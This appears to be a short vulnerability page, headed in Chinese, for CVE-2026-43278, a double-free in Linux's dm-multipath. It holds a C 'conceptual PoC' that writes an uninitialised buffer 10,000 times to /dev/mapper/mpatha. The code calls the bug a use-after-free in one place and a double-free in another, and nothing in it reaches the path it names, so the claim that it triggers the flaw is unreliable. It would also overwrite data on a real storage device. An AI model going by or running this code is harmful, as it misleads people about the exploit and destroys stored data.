CVE-2026-43278 Linux内核DM双重释放漏洞

/* * Conceptual PoC for CVE-2026-43278 * Triggering the double-free in dm-multipath requires specific I/O patterns. */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> void trigger_crash() { // Open a device managed by dm-multipath (e.g., /dev/mapper/mpatha) // This requires the system to be configured with dm-multipath. int fd = open("/dev/mapper/mpatha", O_RDWR); if (fd < 0) { perror("Failed to open device"); return; } printf("[*] Sending I/O requests to trigger UAF condition...\n"); char *buffer = malloc(4096); // Continuous write operations to stress the clone request completion path for (int i = 0; i < 10000; i++) { write(fd, buffer, 4096); } free(buffer); close(fd); // If vulnerable, the kernel may hit a double-free or general protection fault } int main() { trigger_crash(); return 0; }